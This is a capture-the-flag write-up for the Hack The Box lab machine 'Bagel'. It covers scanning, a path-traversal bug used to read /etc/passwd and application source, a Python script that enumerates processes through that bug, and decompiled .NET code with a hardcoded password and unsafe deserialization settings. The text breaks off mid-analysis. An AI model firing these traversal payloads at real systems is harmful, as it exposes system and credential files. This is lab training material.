Writeup for the medium ranked HTB box Bagel

Posted on Jun 4, 2023

secret

This writeup describes how we approached the box Bagel from Hack The Box (https://www.hackthebox.eu). The box is based on Linux and it is ranked medium. Tools and techniques used in this hack are Nmap, Dirb, Firefox, Curl, C# .net and JSon.

As i mentioned in previous writeup my style is to describe how I was thinking during the attack. My personal opinion is that I learn from analysing my process over and over again, and you learn more from understanding the process than just following a guide. So if you just want a step by step guide perhaps it´s best to look elsewhere. :)

My environment for this hack is an old $200 Thinkpad with PopOS and Docker. I use Docker to great extent and try to keep most stuff inside containers. But to avoid too much confusing portmapping I often start my http.servers and Netcat listeners on the host machine in bash. We attacked this box as team working together, 5 people from Cybix (Christian, Eric, Hjalmar, Ulf and Omar).

Recon

So what information can we gather about the box before even starting. The name of the box is Bagel. When I started an instance of the box on the VIP network it got ip-address 10.129.212.147. The box is based on Linux and it’s ranked medium.

This is how Hack The Box announced it on Twitter:

secret

That’s about everything we know about the box, not much so lets get going.

Scanning

Scanning network with Nmap

Let’s use the good old NMap to see what ports are open and what’s running behind them if possible.

┌──(root㉿3f0a19842f67)-[/]
└─# nmap -sC -sV -A 10.129.212.147
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 09:33 UTC
Nmap scan report for 10.129.212.147
Host is up (0.036s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey: 
|   256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_  256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Thu, 23 Feb 2023 09:34:06 GMT
|     Connection: close
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     Server: Microsoft-NetCore/2.0
|     Date: Thu, 23 Feb 2023 09:34:21 GMT
|     Connection: close
|   Help, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Thu, 23 Feb 2023 09:34:31 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (parts).)</h1>
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Thu, 23 Feb 2023 09:34:06 GMT
|     Content-Length: 54
|     Connection: close
|     Keep-Alive: true
|     <h1>Bad Request (Invalid request line (version).)</h1>
|   TLSSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/html
|     Server: Microsoft-NetCore/2.0
|     Date: Thu, 23 Feb 2023 09:34:32 GMT
|     Content-Length: 52
|     Connection: close
|     Keep-Alive: true
|_    <h1>Bad Request (Invalid request line (parts).)</h1>
8000/tcp open  http-alt Werkzeug/2.2.2 Python/3.10.9
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Thu, 23 Feb 2023 09:34:06 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.10.9
|     Date: Thu, 23 Feb 2023 09:34:01 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 263
|     Location: http://bagel.htb:8000/?page=index.html
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
|   Socks5: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request syntax ('
|     ').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5000-TCP:V=7.93%I=7%D=2/23%Time=63F73313%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nServer:\x20Microsoft
SF:-NetCore/2\.0\r\nDate:\x20Thu,\x2023\x20Feb\x202023\x2009:34:06\x20GMT\
SF:r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,E8,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\x20Microsoft-N
SF:etCore/2\.0\r\nDate:\x20Thu,\x2023\x20Feb\x202023\x2009:34:06\x20GMT\r\
SF:nContent-Length:\x2054\r\nConnection:\x20close\r\nKeep-Alive:\x20true\r
SF:\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\(version\)
SF:\.\)</h1>")%r(HTTPOptions,73,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nSer
SF:ver:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Thu,\x2023\x20Feb\x202023\x2
SF:009:34:21\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(Help,E6,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nServer:\x20M
SF:icrosoft-NetCore/2\.0\r\nDate:\x20Thu,\x2023\x20Feb\x202023\x2009:34:31
SF:\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20close\r\nKeep-Alive:
SF:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\x20line\x20\
SF:(parts\)\.\)</h1>")%r(SSLSessionReq,E6,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nContent-Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2\.0\
SF:r\nDate:\x20Thu,\x2023\x20Feb\x202023\x2009:34:31\x20GMT\r\nContent-Len
SF:gth:\x2052\r\nConnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h1>Ba
SF:d\x20Request\x20\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>")%r(
SF:TerminalServerCookie,E6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/html\r\nServer:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Thu
SF:,\x2023\x20Feb\x202023\x2009:34:31\x20GMT\r\nContent-Length:\x2052\r\nC
SF:onnection:\x20close\r\nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Request\x2
SF:0\(Invalid\x20request\x20line\x20\(parts\)\.\)</h1>")%r(TLSSessionReq,E
SF:6,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\n
SF:Server:\x20Microsoft-NetCore/2\.0\r\nDate:\x20Thu,\x2023\x20Feb\x202023
SF:\x2009:34:32\x20GMT\r\nContent-Length:\x2052\r\nConnection:\x20close\r\
SF:nKeep-Alive:\x20true\r\n\r\n<h1>Bad\x20Request\x20\(Invalid\x20request\
SF:x20line\x20\(parts\)\.\)</h1>");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8000-TCP:V=7.93%I=7%D=2/23%Time=63F7330E%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1EA,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.10\.9\r\nDate:\x20Thu,\x2023\x20Feb\x202023\x2009:34:01\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x20263\r\nLocation:\x20http://bagel\.htb:8000/\?page=index\.html\r\nCo
SF:nnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title
SF:>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20shoul
SF:d\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x20URL:\x
SF:20<a\x20href=\"http://bagel\.htb:8000/\?page=index\.html\">http://bagel
SF:\.htb:8000/\?page=index\.html</a>\.\x20If\x20not,\x20click\x20the\x20li
SF:nk\.\n")%r(FourOhFourRequest,184,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nS
SF:erver:\x20Werkzeug/2\.2\.2\x20Python/3\.10\.9\r\nDate:\x20Thu,\x2023\x2
SF:0Feb\x202023\x2009:34:06\x20GMT\r\nContent-Type:\x20text/html;\x20chars
SF:et=utf-8\r\nContent-Length:\x20207\r\nConnection:\x20close\r\n\r\n<!doc
SF:type\x20html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<
SF:h1>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found
SF:\x20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manu
SF:ally\x20please\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p
SF:>\n")%r(Socks5,213,"<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTM
SF:L\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x20\x20\"http://www\.w3\.org
SF:/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x20\x20<head>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"te
SF:xt/html;charset=utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\
SF:x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<p>Message:\x20Bad\x20request\x20syntax\x20\('\\x05\\x04\\x0
SF:0\\x01\\x02\\x80\\x05\\x01\\x00\\x03'\)\.</p>\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20
SF:-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x2
SF:0\x20\x20\x20</body>\n</html>\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=2/23%OT=22%CT=1%CU=41445%PV=Y%DS=3%DC=T%G=Y%TM=63F7337
OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=2%ISR=10F%TI=Z%CI=Z%TS=A)SEQ(SP=1
OS:02%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M539ST11NW7%O2=M539ST11NW7%O
OS:3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST11NW7%O6=M539ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 3 hops

TRACEROUTE (using port 554/tcp)
HOP RTT      ADDRESS
1   0.09 ms  172.17.0.1
2   35.27 ms 10.10.14.1
3   36.35 ms 10.129.212.147

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.89 seconds

There are 3 ports open. 22 is ssh, 5000 seems to be a .net core application and then the there is Werkzeug which implies that it’s a Flask application running on port 8000.

We see some very interesteing stuff here already. There’s a redirect from http://10.129.212.147 to http://bagel.htb:8000/?page=index.html. We need to add the bagel.htb hostname to our hosts file so that we can resolve it.

There’s already a possible LFI lurking there (page=index.html) but before jumpin right in let’s scan the site with dirb.

Scanning the Flask application for content with DIRB

Let´s scan the Flask application for content using dirb. But first of all add the bagel.htb to our hosts file.

127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.17.0.3	3f0a19842f67
10.129.212.147  bagel.htb

Now let’s do the scanning.

┌──(root㉿3f0a19842f67)-[/]
└─# dirb http://bagel.htb:8000

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Feb 23 09:49:06 2023
URL_BASE: http://bagel.htb:8000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://bagel.htb:8000/ ----
+ http://bagel.htb:8000/orders (CODE:200|SIZE:267)                             
                                                                               
-----------------
END_TIME: Thu Feb 23 09:55:00 2023
DOWNLOADED: 4612 - FOUND: 1

We did not find that much but one more endpoint called orders. It’s about time we examine the web site a bit closer.

Examining the bagel web application

Let’s just load the site up in Firefox.

bagel

The front page does not reveal that much interesting stuff but the possible LFI (page=index.html) that we saw before. But before we try that let’s checkout the orders endpoint.

bagel

So it just seems to return some text that seems to be orders. Not that interesting so far but let’s try that possible LFI. Let’s se if we can get our hands on another file than index.html.

┌──(root㉿3f0a19842f67)-[/]
└─# curl http://bagel.htb:8000?page=../../../../../../etc/passwd --path-as-is
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony:x:994:992::/var/lib/chrony:/sbin/nologin
dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
_laurel:x:987:987::/var/log/laurel:/bin/false

Ooops, it works. There’s both LFI and path traversal here. We can see that there are two users with login to this system. There is developer and phil. Let’s take a note about that and now it’s about time we try to gain some access.

Gaining Access

Extracting sourcecode for the Flask application

First of all we tried to exfiltrate developer and phils id_rsa files using the LFI that we found. But that was not possible. That might be because they do not exist or because of permissions. So we move on to find out more about the web application.

We know that this is using werkzeug and python so this is most probably a Flask application. Experience says that the main file for a Flask application could be called app.py. Let’s try to exfiltrate it.

┌──(root㉿3f0a19842f67)-[/]
└─# curl http://bagel.htb:8000?page=../app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

My guess was right, there it is. Let’s look closer at the source code.

Reading the source code for the Flask applicaton

from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

We should probably focus on the order endpoint here. First of all there’s a comment that talks about running a .net application. It also mentions an ssh key. Further down we can see that the python code connects via websocket to port 5000 and makes a request by using some json and a specific field (ReadOrder) of the json result is returned to the web browser.

So the conclusion here is that there is a .net application running on port 5000 and it uses json for communication. At this time we tried to use ReadOrder to exfiltrate other files but that failed. We took a chance and tried som WriteOrders and we were able to write text to the orders.txt file. But we could not find a way to exploit that so we really nedd to know more about that .net application. So let’s dig for some further information.

Using LFI and /proc to list running processes

Let’s use the old trick of bruteforcing proc to find out more information on running processes. Hopefully we can find some more info on that .net application. This is a variant of an old python script that I used before. I just modified it so that it fits it’s purpose here.

import requests

url =  'http://bagel.htb:8000/?page=../../../../../proc/'

for i in range(0,1000):
    s = url +  str(i) + '/cmdline' 
 
    r = requests.get(s, allow_redirects=False)
    if r.text != '' and r.text != 'File not found':
        print(r.text)

This script just tries to print information about how the first 1000 pids on the system was started. Let’s try to run the script.

┌──(root㉿3f0a19842f67)-[/]
└─# python3 enumproc.py 
/usr/lib/systemd/systemdrhgb--switched-root--system--deserialize35
甯牳氯扩猯獹整摭猯獹整摭樭畯湲污d
/usr/lib/systemd/systemd-udevd
甯牳氯扩猯獹整摭猯獹整摭漭浯d
甯牳氯扩猯獹整摭猯獹整摭爭獥汯敶d
/usr/lib/systemd/systemd-userdbd
/sbin/auditd
/sbin/auditd
/usr/sbin/sedispatch
/usr/local/sbin/laurel--config/etc/laurel/config.toml
/sbin/auditd
/usr/sbin/NetworkManager--no-daemon
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
python3/home/developer/app/app.py
/usr/sbin/irqbalance--foreground
/usr/sbin/mcelog--daemon--foreground
/usr/lib/polkit-1/polkitd--no-debug
/usr/sbin/rsyslogd-n
甯牳氯扩猯獹整摭猯獹整摭氭杯湩d
/usr/bin/VGAuthService-s
/usr/bin/vmtoolsd
/usr/sbin/irqbalance--foreground
/usr/sbin/rsyslogd-n
/usr/sbin/abrtd-d-s
/usr/bin/dbus-broker-launch--scopesystem--audit
/usr/sbin/chronyd-F2
/usr/sbin/rsyslogd-n
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dbus-broker--log4--controller9--machine-idce8a2667e5384602a9b46d6ad7614e92--max-bytes536870912--max-fds4096--max-matches131072--audit
/usr/sbin/NetworkManager--no-daemon
/usr/sbin/NetworkManager--no-daemon
/usr/lib/polkit-1/polkitd--no-debug
/usr/lib/polkit-1/polkitd--no-debug
sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/sbin/gssproxy-D
/usr/bin/vmtoolsd
/usr/bin/vmtoolsd
/usr/lib/polkit-1/polkitd--no-debug
/usr/lib/polkit-1/polkitd--no-debug
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
/usr/bin/vmtoolsd
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
/usr/sbin/abrtd-d-s
/usr/sbin/abrtd-d-s
/usr/bin/abrt-dump-journal-core-D-T-f-e
/usr/bin/abrt-dump-journal-oops-fxtD
/usr/bin/abrt-dump-journal-xorg-fxtD

There’s some junk there and a lot of duplicates. I don’t know why and I don’t really care at this point. We found what we were looking for dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll. This is how the .net application that is available on port 5000 is started. Now that we know where the dll is located we can get our hands on it and analyse the application.

Reverse engineering bagel.dll with dnSpy

First we need to exfiltrate the dll using the vulnerability from before.

┌──(root㉿3f0a19842f67)-[/]
└─# curl http://bagel.htb:8000?page=../../../../../..//opt/bagel/bin/Debug/net6.0/bagel.dll --output bagel.dll
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10752  100 10752    0     0   131k      0 --:--:-- --:--:-- --:--:--  132k

Now we got it stored locally at our machine. My experience is that dnSpy is the best tool for reverse engineering .net applications. Unfortunatly it’s just available for Windows so we need to start up a virtual machine here and import the bagel.dll using DnSpy.

bagel

When we got the dll into dnSpy we find 6 classes that we can dig into (Bagel, Base, DB, File, Handler and Orders). First interesting thing is found in the DB class.

using System;
using Microsoft.Data.SqlClient;

namespace bagel_server
{
	// Token: 0x0200000A RID: 10
	public class DB
	{
		// Token: 0x06000022 RID: 34 RVA: 0x00002518 File Offset: 0x00000718
		[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
		public void DB_connection()
		{
			string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
			SqlConnection sqlConnection = new SqlConnection(text);
		}
	}
}

This method does not seem to be finished but we can see a password k8wdAYYKyhnjg3K. We tried using this password with ssh with both developer and phil user from earlier without any success. So let’s take a note of the password and then dig deeper in the code. In the Bagel class there is a method called MessageReceived.

// bagel_server.Bagel
// Token: 0x0600000B RID: 11 RVA: 0x000021A8 File Offset: 0x000003A8
private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
	string json = "";
	bool flag = args.Data != null && args.Data.Count > 0;
	if (flag)
	{
		json = Encoding.UTF8.GetString(args.Data.Array, 0, args.Data.Count);
	}
	Handler handler = new Handler();
	object obj = handler.Deserialize(json);
	object obj2 = handler.Serialize(obj);
	Bagel._Server.SendAsync(args.IpPort, obj2.ToString(), default(CancellationToken));
}

This seems to be the function that is called when things arrive on port 5000. Anaysing the code we can see that the Handler class is called to deserialize the json into an object and then it’s once again serialized and sent back to the calling part. That’s a bit weird. Let’s dig deeper into that Handler class Deserialize method.

// bagel_server.Handler
// Token: 0x06000006 RID: 6 RVA: 0x000020BC File Offset: 0x000002BC
public object Deserialize(string json)
{
	object result;
	try
	{
		result = JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings
		{
			TypeNameHandling = 4
		});
	}
	catch
	{
		result = "{\"Message\":\"unknown\"}";
	}
	return result;
}

Well it’s using the Base class to type the call to DeserializeObject so we can’t really exploit that to deserialize an object of our choosing but let’s look at that Base class.

using System;
using System.Runtime.CompilerServices;

namespace bagel_server
{
	// Token: 0x02000007 RID: 7
	[NullableContext(1)]
	[Nullable(0)]
	public class Base : Orders
	{
		// Token: 0x17000001 RID: 1
		// (get) Token: 0x0600000E RID: 14 RVA: 0x00002278 File Offset: 0x00000478
		// (set) Token: 0x0600000F RID: 15 RVA: 0x00002290 File Offset: 0x00000490
		public int UserId
		{
			get
			{
				return this.userid;
			}
			set
			{
				this.userid = value;
			}
		}

		// Token: 0x17000002 RID: 2
		// (get) Token: 0x06000010 RID: 16 RVA: 0x0000229C File Offset: 0x0000049C
		// (set) Token: 0x06000011 RID: 17 RVA: 0x000022B4 File Offset: 0x000004B4
		public string Session
		{
			get
			{
				return this.session;
			}
			set
			{
				this.session = value;
			}
		}

		// Token: 0x17000003 RID: 3
		// (get) Token: 0x06000012 RID: 18 RVA: 0x000022C0 File Offset: 0x000004C0
		public string Time
		{
			get
			{
				return DateTime.Now.ToString("h:mm:ss");
			}
		}

		// Token: 0x04000007 RID: 7
		private int userid = 0;

		// Token: 0x04000008 RID: 8
		private string session = "Unauthorized";
	}
}

There’s just getters and setters there but there’s one very odd thing. You would expect Base to be a base class with descendants but that’s not the case. It’s actually the other way around Base actually inherits from the Orders class. Let’s take a closer look.

using System;
using System.Runtime.CompilerServices;

namespace bagel_server
{
	// Token: 0x02000008 RID: 8
	[NullableContext(1)]
	[Nullable(0)]
	public class Orders
	{
		// Token: 0x17000004 RID: 4
		// (get) Token: 0x06000014 RID: 20 RVA: 0x000022FF File Offset: 0x000004FF
		// (set) Token: 0x06000015 RID: 21 RVA: 0x00002307 File Offset: 0x00000507
		public object RemoveOrder { get; set; }

		// Token: 0x17000005 RID: 5
		// (get) Token: 0x06000016 RID: 22 RVA: 0x00002310 File Offset: 0x00000510
		// (set) Token: 0x06000017 RID: 23 RVA: 0x0000232D File Offset: 0x0000052D
		public string WriteOrder
		{
			get
			{
				return this.file.WriteFile;
			}
			set
			{
				this.order_info = value;
				this.file.WriteFile = this.order_info;
			}
		}

		// Token: 0x17000006 RID: 6
		// (get) Token: 0x06000018 RID: 24 RVA: 0x0000234C File Offset: 0x0000054C
		// (set) Token: 0x06000019 RID: 25 RVA: 0x0000236C File Offset: 0x0000056C
		public string ReadOrder
		{
			get
			{
				return this.file.ReadFile;
			}
			set
			{
				this.order_filename = value;
				this.order_filename = this.order_filename.Replace("/", "");
				this.order_filename = this.order_filename.Replace("..", "");
				this.file.ReadFile = this.order_filename;
			}
		}

		// Token: 0x04000009 RID: 9
		private string order_filename;

		// Token: 0x0400000A RID: 10
		private string order_info;

		// Token: 0x0400000B RID: 11
		private File file = new File();
	}
}

Here we find some more interesting stuff. Read order has some filetering going on to protect against path traversal, that’s why we could not exfiltrate files earlier. What caught my attention here is that RemoveOrder holds an object of the class object. So we should be able to do some interesting untyped deserialization there.

Experience says that stuff like ysoserial.net can be like looking for a needle in a haystack and since we are using .net core chances are quite limited here. So let’s see if we can use any of the classes we know exists in the scope. Let’s look at the File class.

using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.CompilerServices;
using System.Text;

namespace bagel_server
{
	// Token: 0x02000009 RID: 9
	[NullableContext(1)]
	[Nullable(0)]
	public class File
	{
		// Token: 0x17000007 RID: 7
		// (get) Token: 0x0600001C RID: 28 RVA: 0x00002400 File Offset: 0x00000600
		// (set) Token: 0x0600001B RID: 27 RVA: 0x000023DD File Offset: 0x000005DD
		public string ReadFile
		{
			get
			{
				return this.file_content;
			}
			set
			{
				this.filename = value;
				this.ReadContent(this.directory + this.filename);
			}
		}

		// Token: 0x0600001D RID: 29 RVA: 0x00002418 File Offset: 0x00000618
		public void ReadContent(string path)
		{
			try
			{
				IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);
				this.file_content += string.Join("\n", values);
			}
			catch (Exception ex)
			{
				this.file_content = "Order not found!";
			}
		}

		// Token: 0x17000008 RID: 8
		// (get) Token: 0x0600001E RID: 30 RVA: 0x00002474 File Offset: 0x00000674
		// (set) Token: 0x0600001F RID: 31 RVA: 0x0000248C File Offset: 0x0000068C
		public string WriteFile
		{
			get
			{
				return this.IsSuccess;
			}
			set
			{
				this.WriteContent(this.directory + this.filename, value);
			}
		}

		// Token: 0x06000020 RID: 32 RVA: 0x000024A8 File Offset: 0x000006A8
		public void WriteContent(string filename, string line)
		{
			try
			{
